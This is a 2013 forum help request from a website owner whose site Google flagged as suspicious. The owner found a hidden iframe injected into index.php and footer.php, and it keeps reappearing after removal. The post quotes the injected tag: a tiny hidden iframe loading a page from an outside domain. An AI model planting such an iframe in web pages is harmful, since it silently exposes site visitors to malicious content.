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problem in my site , google alarm that my site is Suspicious


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#1 pasakorg

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Posted 16 February 2013 - 12:50 PM

hello everyone
i hope you are well
i can find the problem in my site with help dear cchamberland
that is  an iframe injection at the bottom of my pages, in index.php, footer.php,etc
then i removed the iframe,And also i was applied some other security  to the site.

< iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://highperformancetraining.org/chhd.html?i=1526587 >< /iframe >

but now after 1 day My site was infected again the same iframe.

I really do not know what should i do?
Is there anyone who can help me?

 

my site is   www.pasak.org

regards.

Pasak Sh
 



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